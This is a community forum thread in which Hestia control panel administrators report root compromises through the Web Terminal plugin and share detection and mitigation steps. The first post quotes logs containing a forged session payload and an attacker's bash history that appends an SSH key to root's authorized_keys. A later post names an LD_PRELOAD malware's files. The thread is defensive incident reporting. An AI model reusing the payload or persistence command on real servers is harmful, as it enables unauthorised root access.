Web Terminal Hack

Community Support
1

NOTICE: If you are running the Web Terminal plugin disable it ASAP.

The Web Terminal can be exploited to gain root. I currently have 2 Hestia servers and both were hacked via the Web Termainal. I’m still investigating the incident, but this is what I know so far:

This is the entry point

# /var/log/hestia/nginx-access.log.1
45.86.230.242 - - [22/May/2026:01:18:16 +0000] GET /login/ HTTP/1.1 "200" 1928 "-" "-" "user|s:4:\x22root"
45.86.230.242 - - [22/May/2026:01:18:22 +0000] GET /_shell/ HTTP/1.1 "101" 271 "-" "-" "-"

The web-terminal journal:

# journalctl -u hestia-web-terminal.service
May 22 01:18:18 web2 server.js[3506304]: New connection from 45.86.230.242 (0tk5i6u95ua5inti4o2h9lv2si)
May 22 01:18:18 web2 server.js[3506304]: New pty (680948): /bin/bash as root (0:0) in /root
May 22 01:18:22 web2 server.js[3506304]: Ended connection from 45.86.230.242 (0tk5i6u95ua5inti4o2h9lv2si)
May 22 01:18:22 web2 server.js[3506304]: Ended pty (680948)

The root bash history:

# /root/.bash_history
stty -echo
 printf '\n__X521699__\n' && id 2>&1 && printf '\n__X521699__\n'
 printf '\n__X355356__\n' && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzrZrugAO/eiPw1kZEZYw7gggHrzoihyQHjncajJoOSu5oeN2HrSdTogZuT+8CQJx5TaTuJCmeaA6MyHKF3fBR7qd5+R94k9oPxNoz0M9I4yzJFXQr5qNQRIR98Edt/uCwqnw9uXiKwOmCtnBiY/BJ7g5aC238nDBIyufcX6Ca7JtfwJtLxQpvKBkpW1STt3ShyAhQSyiFcCeuz7J10dw+PDDiHxSIfI6lie1T7hi3chYBjq21eJBzJg/BCo5ZzbwJIXNfPqtCeJINZKQxUDLFTAK0jkyxQXfNJ9H4WPVEagxYXHB1PEBhXcCQ68CUgdikWKHXX2WTRYGPhMp5zf ' >> /root/.ssh/authorized_keys 2>&1 && printf '\n__X355356__\n'
exit

This adds new key(s) into /root/.ssh/authorized_keys. This is all I know so far. Still investigating. Just wanted to get the warning out there.

2

More info @ CVE-2026-43633 and Security vulnerability in Hestia CP · Issue #5229 · hestiacp/hestiacp · GitHub

3

@l00ker @maurice thanks for sharing. I didn’t know this was so critical :frowning:

To all, please, disable the web terminal ASAP:

From command line:

v-delete-sys-web-terminal

From Web UI:

Server Settings → Configure → Plugins → in Web Terminal change it to No → Save

9

Disabling is good, but is there a way to fix the vulnerability without disabling it?

10

I confirm, I found similar queries myself. But I’m using the lshell. I don’t think anything will break.

12

This has also affected us and we found some things you might want to check for on your server. We didn’t find any new keys added to /root/.ssh/authorized_keys but we found something that had been deposited into our system, so you might want to check:

find / -name "ld.so.preload" 2>/dev/null

find / -name "libnss_cache.so.2" 2>/dev/null

find / -name "__hesti" 2>/dev/null

find / -name "__hesti*" 2>/dev/null

find /lib /usr/lib -name "*.so*" -newermt "2026-05-21" 2>/dev/null

For us, the unauthorised web terminal access was three attempts, all on 21st May, hence why I am looking for libraries from this date on, some legitimate ones may also have been added since then but in our case the only one was the malicious one. These are the objects we found had been added:

a dropper/loader: /usr/lib/__hesti/__hesti

a library: /lib/x86_64-linux-gnu/libnss_cache.so.2

and a preload reference: /etc/ld.so.preload

What this malware appears to be doing:

  • using LD_PRELOAD via /etc/ld.so.preload

  • to inject libnss_cache.so.2 into essentially every dynamically linked process on the system.

This was causing some weird DNS activity, which manifested itself as a slowdown of the panel, and upon investigation we saw hundreds of DNS requests for a domain which was something like p1.678456.xyz. Each lookup was failing and causing timeouts, freezes, etc. Havoc basically!

I can’t explain it fully (deleting the dropper and payload was tricky) as I had to use ChatGPT to help - it’s all a bit beyond my light understanding on web server administration, but at least you might want to check if you have been affected by this particular malware, or at least share details of the version of events that has affected you.

Needless to say, the web terminal is now well and truly DISABLED!

13

Thanks for the tip. I checked your recommendations on one of the servers where similar activity was observed, but I didn’t find these files. Authorized_keys were also unaffected.
Apparently, using lshell saved the day.

14

Glad that I always do a ‘custom install’ with API and other things disabled… I checked 4-5 servers of mine none has web terminal service running.

16

Two questions,

1.9.5 addresses this security issue?

By having the Web Terminal plugin enabled on a server, can the server be exploited straight away or does it require a user with access to Web Terminal on its package?

17

Yes.

No, the bug is so critical that it doesn’t require any user account or access to the Hestia Control Panel.

18

Just want to double confirm on this issue, understand this has been fixed in 1.9.5

But i want to check whether my server being exploited.

Is it NO account at all is needed for anonymous user who just knowing the server IP or domain to get hack into web terminal? or at least need the HestiaCP account?

19

Yes, it is. Anyways, Web Terminal doesn’t work, it needs to be fixed.

No account needed at all. Only the server’s ip.

20

oh, that’s a severe one!

As from my quick check, my authorized_keys didn’t get compromised. What else I need to do the health check of the server?

21

In this post you have a couple of tips.

22

@sahsanu
Is it I can focus on log with this service?